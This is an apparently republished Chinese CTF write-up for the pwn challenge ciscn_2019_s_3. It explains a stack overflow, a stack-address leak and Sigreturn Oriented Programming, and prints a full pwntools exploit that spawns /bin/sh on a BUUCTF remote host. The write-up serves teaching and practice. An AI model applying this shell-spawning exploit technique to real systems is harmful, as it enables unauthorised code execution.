ciscn_2019_s_3(SROP)

2024-02-10 04:20
文章标签 2019 ciscn srop

本文主要是介绍ciscn_2019_s_3(SROP),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x01 分析

ida分析:

vuln:

 

 read存在栈溢出,读入的地方是rsp-10,写入10个字节之后可以直接覆盖到return。0x19-0x0F=10。

 gadgets:

这里需要注意两个地方:mov rax,15 和 mov rax,59。这里涉及到Linux系统调用:

15对应的是sys_rt_sigreturn系统调用;

59对应的是sys_execve系统调用

所以这道题目可以有两种办法来做。

  • 第一种办法是依靠59对应的execve,然后想办法执行execve(“/bin/sh”,0,0)

  • 第二种办法是依靠15对应的sys_rt_sigreturn,借助sigreturn frame来执行execve(“/bin/sh”,0,0)

 我采用第二种方法。

0x02 溢出

gdb动态调试

第一次不要溢出刚好覆盖到返回地址就好,距离binsh位置还未知。

0x00007fffffffdec8 - 0x7fffffffddb0 = 0x118,这个偏移是固定的,那么我们可以通过write函数打印出这个地址,然后减去这个偏移,就能得到/bin/sh的地址

可以将binsh保存在栈中,知道binsh的地址。然后调用SROP,将rax=59,rbx=syscall,rdi=binsh

from pwn import *
context.arch='amd64'
p=remote('node4.buuoj.cn',28790)
#p=process("./ciscn_s_3")
elf=ELF('./ciscn_s_3')gadget=0x4004DA
syscall=0x400517
vuln=0x4004ED
p.send('a'*0x10+p64(vuln))binsh=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x118

0x03 SROP

SROP(Sigreturn Oriented Programming),Sigreturn是一个系统调用,它在unix系统发生signal的时候会被间接地调用。

Signal机制在线代操作系统中被使用的非常广泛,例如:1、内核要kill一个进程;2、为进程设置定时器;3、通知进程一些异常事件。

SROP原理

1、内核向某进程发起一个signal,该进程被暂时挂起,进入内核;

2、内核保存该进程的上下文(ucontext save);

3、跳转到signal handler中处理相应的signal;

4、内核恢复之前保存的上下文(ucontext restore);

5、恢复进程执行。

linux下,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈填地址rt_sigreturn,这个地址指向一段代码,调用sigreturn系统调用。

当signal handler执行完之后,ESP/RSP就会指向rt_sigreturn,这样signal handler函数的最后一条指令ret会使得执行流跳转到这段sigreturn代码,执行sigreturn系统调用。

思路:在栈上放好上下文(sigreturn frame),自己调用sigreturn,跳过步骤1、2,通过步骤3、4让内核把我们伪造的上下文恢复到用户进程。实现控制通用寄存器、rip、栈劫持。

Iinux i386下调用sigreturn的代码在vdso中;linux x86_64下我们一般通过调用15号syscall来调用sigreturn。

pwntools中已经集成了对SROP的攻击方法。

frame=SigreturnFrame()
frame.rax=59
frame.rdi=binsh
frame.rip=syscall
frame.rsi=0
payload="/bin/sh\x00"*2+p64(gadget)+p64(syscall)+str(frame)
p.send(payload)

0x04 完整EXP

from pwn import *
context.arch='amd64'
p=remote('node4.buuoj.cn',28790)
#p=process("./ciscn_s_3")
elf=ELF('./ciscn_s_3')gadget=0x4004DA
syscall=0x400517
vuln=0x4004ED
p.send('a'*0x10+p64(vuln))binsh=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x118frame=SigreturnFrame()
frame.rax=59
frame.rdi=binsh
frame.rip=syscall
frame.rsi=0
payload="/bin/sh\x00"*2+p64(gadget)+p64(syscall)+str(frame)
p.send(payload)p.interactive()

0x05 写在最后

参考链接:

http://liul14n.top/2020/03/07/Ciscn-2019-s-3/

【星盟安全】PWN全集,从入门到精通,最通俗易懂的CTF,持续更新中_哔哩哔哩_bilibili

萌新的第一篇博客,有任何错误请指正~

这篇关于ciscn_2019_s_3(SROP)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/696118

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

2019学习计划

工作三年了,第一年感觉是荒废的,第二年开始学习python,第三年开始自动化 感觉自己会的东西比较少,而且不够深入,流于表面 现制定一下今年大概的学习计划 需持续巩固加强:python、ui自动化、接口自动化、sql等 代码量需提升,敲的不够(重点) 学习: 1.移动端测试,appium等 2.前端知识系统整理学习  3.性能测试 4.docker入门,环境搭建 5.shell

最简单的使用JDBC[连接数据库] mysql 2019年3月18日

最极简版本的, 我们这里以mysql为例: 首先要创建maven工程, 需要引入jar包:,这里需要注意, 如果你安装的是mysql最新版本8以上的, 下面有些地方需要更改,具体就是mysql连接的url, 和5版本的不一样,具体解决请自行百度哈.这里只演示mysql5版本的? 依赖: <dependency>   <groupId>mysql</groupId>   <artifactId

(php伪随机数生成)[GWCTF 2019]枯燥的抽奖

审核源码发现加载check.php,审计发现使用了mt_rand()函数,这个函数生成的值是伪随机的 参考下面这篇文章 PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户 kali里面输入下载工具 git clone https://github.com/openwall/php_mt_seed.git cd进去输入make后编译出的文件先

2019年2月17日

今天又重新看了一下输出第1500个丑数 在我错了八次之后发现要输出一个句号还要输出换行 接下来的两天应该进入复习阶段了。

National Contest for Private Universities (NCPU), 2019 E. Generalized Pascal's Triangle

编辑代码 2000ms 262144K Generalized Pascal's Triangle Pascal's triangle is a triangular array in which each number can be calculated by the sum of the two numbers directly above that number as shown i

Hinton等人最新研究:大幅提升模型准确率,标签平滑技术 2019-7-8

导读:损失函数对神经网络的训练有显著影响,也有很多学者人一直在探讨并寻找可以和损失函数一样使模型效果更好的函数。后来,Szegedy 等学者提出了标签平滑方法,该方法通过计算数据集中 hard target 的加权平均以及平均分布来计算交叉熵,有效提升了模型的准确率。近日,Hinton 团队等人在新研究论文《When Does Label Smoothing Help?》中,就尝试对标签平滑技术对

Photoshop CC 2019圆形的抠图

快速进入矩形选区 快速在矩形和圆形选区之前切换: shift+M 选择的时候,按住shift,可以选中正方形/圆形   以中心点画圆: alt + 拖拽 再利用变换选区功能即可实现圆的选中 效果如图所示: 再使用自由变换,即可放大,缩小球的大小: ctrl + T 阴影部分的处理: 1)去其他球那里选择个椭圆形选区 2)选择编辑-填充 3)使用滤镜里

Windows Server 2019 中文版、英文版下载 (updated Aug 2024)

Windows Server 2019 中文版、英文版下载 (updated Aug 2024) Windows Server 2019 Version 1809 请访问原文链接:https://sysin.org/blog/windows-server-2019/,查看最新版。原创作品,转载请保留出处。 本站将不定期发布官方原版风格月度更新 ISO。 Windows Server